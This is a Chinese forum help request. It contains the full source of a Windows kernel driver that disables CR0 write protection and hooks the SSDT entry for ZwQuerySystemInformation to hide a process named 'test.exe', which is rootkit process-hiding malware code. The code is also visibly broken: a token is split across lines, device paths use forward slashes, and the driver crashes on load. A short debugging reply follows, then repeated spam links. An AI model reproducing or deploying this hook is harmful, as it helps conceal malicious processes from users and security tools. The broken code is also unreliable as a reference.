请教各位大侠，帮我修改一下隐藏文件的驱动程序 ( 积分: 100 )

我根据网上搜集到的代码，做了个隐藏文件的驱动程序，编译通过了，但是加载该驱动文件（.sys）后机器就重启，哪位大侠帮我看一下，谢了！！！！我的邮箱是hugangkbasc_510@hotmail.com
下面是代码：
#include "ntddk.h"
#include "string.h"
#define IOCTL_EVENT_MSG CTL_CODE(FILE_DEVICE_UNKNOWN, 0x927, METHOD_BUFFERED , FILE_ANY_ACCESS)
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
struct _SYSTEM_THREADS Threads[1];
};
// declare system service table
typedef struct _ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
}ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;
//ULONG KeServiceDescriptorTable = 0x8046AB80;
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable->ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
NTSTATUS ZwQuerySystemInformation(IN ULONG SystemInformationClass,IN OUT PVOID SystemInformation,IN ULONG SystemInformaitonLength,OUT PULONG ReturnLength OPTIONAL);
typedef NTSTATUS (*REALZWQUERYSYSTEMINFORMATION)(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
REALZWQUERYSYSTEMINFORMATION RealZwQuerySystemInformation;
NTSTATUS HookZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
static NTSTATUS MydrvDispatchIoctl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject);

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
UNICODE_STRING nameString, linkString;
PDEVICE_OBJECT deviceObject;
NTSTATUS status;
WCHAR wBuffer[200];
ULONG CR0VALUE;
nameString.Buffer = wBuffer;
nameString.MaximumLength = 200;

DriverObject->DriverUnload = DriverUnload;

RtlInitUnicodeString(&nameString, L"//Device//MyDriver");

status = IoCreateDevice(
DriverObject,
0, // 无设备扩展
&nameString,
FILE_DEVICE_UNKNOWN,
0,
TRUE,
&deviceObject
);

if (!NT_SUCCESS( status ))
return status;

deviceObject->Flags |=do
_BUFFERED_IO;
RtlInitUnicodeString(&linkString, L"//??//MyDriver");
status = IoCreateSymbolicLink (&linkString, &nameString);

if (!NT_SUCCESS( status ))
{
IoDeleteDevice (DriverObject->DeviceObject);
return status;
}
DriverObject->MajorFunction[IRP_MJ_CREATE] = MydrvDispatch;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = MydrvDispatch;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MydrvDispatchIoctl;
__asm{
mov eax, cr0
mov CR0VALUE, eax
and eax, 0fffeffffh
mov cr0, eax
}
RealZwQuerySystemInformation = (REALZWQUERYSYSTEMINFORMATION)( SYSTEMSERVICE(ZwQuerySystemInformation) );
(REALZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = HookZwQuerySystemInformation;

__asm{
mov eax, CR0VALUE
mov cr0, eax
}
return STATUS_SUCCESS;
}
static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
NTSTATUS status;
PIO_STACK_LOCATION irpSp;

UNREFERENCED_PARAMETER(DeviceObject);

//得到当前IRP (I/O请求包)
irpSp = IoGetCurrentIrpStackLocation( Irp );

switch (irpSp->MajorFunction)
{
case IRP_MJ_CREATE:
DbgPrint("IRP_MJ_CREATE/n");
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0L;

break;

case IRP_MJ_CLOSE:
DbgPrint("IRP_MJ_CLOSE/n");
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0L;

break;
}
IoCompleteRequest(Irp, 0);
return STATUS_SUCCESS;

}
static NTSTATUS MydrvDispatchIoctl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
PIO_STACK_LOCATION IrpStack;
NTSTATUS status;
ULONG ControlCode;
ULONG InputLength,OutputLength;
TCHAR wInputBuffer[200];
TCHAR OutMsg[] = "Message send by driver";
// 得到当前IRP (IO请求包)
IrpStack = IoGetCurrentIrpStackLocation(Irp);

// 得到DeviceIoControl传来的功能调用号
ControlCode = IrpStack->Parameters.DeviceIoControl.IoControlCode;
// 得到DeviceIoControl传来的输入缓冲区长度
InputLength = IrpStack->Parameters.DeviceIoControl.InputBufferLength;
// 得到DeviceIoControl的输出缓冲区长度
OutputLength = IrpStack->Parameters.DeviceIoControl.OutputBufferLength;

switch (ControlCode)
{
case IOCTL_EVENT_MSG:
//DbgPrint("IOCTL_EVENT_MSG/n");
RtlCopyMemory(Irp->AssociatedIrp.SystemBuffer, OutMsg, sizeof(OutMsg));
Irp->IoStatus.Status = STATUS_SUCCESS;
OutputLength = sizeof(OutMsg);
Irp->IoStatus.Information = OutputLength;
break;
}
status = Irp->IoStatus.Status;

IoCompleteRequest(Irp, 0);
return status;
}
VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)
{
UNICODE_STRING nameString;

RtlInitUnicodeString(&nameString, L"//??//MyDriver");
IoDeleteSymbolicLink(&nameString);
IoDeleteDevice(pDriverObject->DeviceObject);
(REALZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = RealZwQuerySystemInformation;
return;
}
NTSTATUS HookZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS rc;

UNICODE_STRING process_name;
RtlInitUnicodeString(&process_name, L"test.exe");
rc = (RealZwQuerySystemInformation) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength);

if(NT_SUCCESS(rc))
{
if(5 == SystemInformationClass)
{
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);

while(curr)
{
if (RtlCompareUnicodeString(&process_name, &curr->ProcessName, 1) == 0)
{
if(prev)
{
if(curr->NextEntryDelta)
{
prev->NextEntryDelta += curr->NextEntryDelta;
}
else

{
prev->NextEntryDelta = 0;
}
}
else

{
if(curr->NextEntryDelta)
{
(char *)SystemInformation += curr->NextEntryDelta;
}
else

{
SystemInformation = NULL;
}
}
if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
else

{
curr = NULL;
break;
}
}
if(curr != NULL)
{
prev = curr;
if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
else
curr = NULL;
}
} // end while(curr)
}
}
return rc;
}

如果是直接就重启了（没有出现BSOD），你可以在代码中加上一些判断，然后使用KeBugCheckEx函数来输出一些自己定义的错误号码，这样就可以在出错的时候显示蓝屏，看到错误号码就可以大致判断是在代码什么地方出错了。我一般使用这个方法判断那些使用DbgView来不及看的严重错误的^_^

http://www.51zhan.com 最好的网址站
http://www.51zhan.com 最好的网址站
http://www.51zhan.com 最好的网址站